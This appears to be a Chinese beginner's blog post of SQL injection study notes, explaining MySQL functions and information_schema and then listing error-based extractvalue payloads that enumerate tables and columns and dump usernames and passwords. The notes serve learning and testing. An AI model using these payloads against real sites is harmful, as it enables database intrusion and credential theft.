一些入门的的SQL注入小白基础笔记

SQL注入:
user()返回当前数据库连接使用的用户;
database()返回当前数据库连接使用的数据库;
version()返回当前数据库的版本;

information_schema为mysql中自带的数据库,提供访问数据库元数据的方式。
元数据:关于数据的数据,如数据库名或表名,列的数据类型,或访问权限等。
information_schema中,有数个只读表。实际上为视图,不是基本表。实际上为一个虚拟的数据库。只能通过select语句访问,不能对其进行增删改。

information_schema中的表:
schemata:所有库
tables:所有表
columns:所有字段

information_schema.tables表中
提供了关于数据库中表的信息
TABLE_SCHEMA ---->库名
TABLE_NAME ---->表名
TABLE_TYPE ---->表类型
ENGINE ---- >引擎
Version ---->版本
TABLE_ROWS ---->表的行数
AVG_ROW_LENGTH ---->表中行的平均行(字节)
INDEX_LENGTH ---->索引的占用空间大小(字节)

concat_ws(separator,str1,str2,…) 函数可以将这些函数进行组合使用并显示出来,其中第一个参数是作为分隔符使用,使用分隔符分隔再进行连接产生新的字符串
group_concat():将group by产生的同一个分组中的值连接起来,返回一个字符串结果。

关于concat函数和concat_ws()函数的实例:
select concat(‘大’,‘小’) as size from 表
查询出结果为:大小

select concat(‘大’,NULL) as size from 表
查询出结果为:null
concat中又一个参数为NULL,查出来的就为NULL

select concat_ws(’_’,‘大’,‘小’,‘中’) as size from 表
查询出结果为:大_小_中

select concat_ws(’_’,‘大’,‘小’,NULL) as size from 表
查询出结果为:大_小

group_concat( [distinct] 要连接的字段 [order by 排序字段 asc/desc ] [separator ‘分隔符’] )

在这里插入图片描述

MySQL LIMIT获取前N行
SELECT column1,column2,… FROM table LIMIT N;
从第N行开始获取,获取M行
LIMIT M OFFSET N
如果回显只有一行,可以修改N从0~N 依次显示所有表名/字段名

extractvalue():从目标XML中返回包含所查询值的字符串。
  EXTRACTVALUE (XML_document, XPath_string);
  第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串)

UPDATEXML(XML_document, XPath_string, new_value);
new_value,String格式,替换查找到的符合条件的数据
作用:改变文档中符合条件的节点的值
改变XML_document中符合XPATH_string的值

Payload:
or extractvalue(1, concat(0x7e, version())) or ‘’
or update(1, concat(0x7e, version()), 1) or ‘’

爆表名:
or extractvalue(1, concat(0x7e, (select concat(table_name) from information_schema.tables where table_schema=database() limit 0,1))) or ‘’
爆字段名:
or extractvalue(1, concat(0x7e, (select concat(column_name) from information_schema.columns where table_name=‘users’ limit 0,1))) or ‘’
爆数据:
or extractvalue(1, concat(0x7e, (select concat_ws(’:’, username, password) from users limit 0,1))) or ‘’
updatexml的注入方式相同

ascii(str1)函数:
返回字符串str的最左面字符的ASCII代码值
str是空字符串,返回0
如果str是NULL,返回NULL
例:mysql> select ascii(‘hi’);
+————-+
| ascii(‘hi’) |
+————-+
| 104 |
+————-+
1 row in set

substring(string,position):
substring(str, pos, length) :#(被截取字段,从第几位开始截取,截取长度)
从特定位置开始的字符串返回一个给定长度的子字符串
string参数是要提取子字符串的字符串
position参数是一个整数,用于指定子串的起始字符,position可以是正或负整数。

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值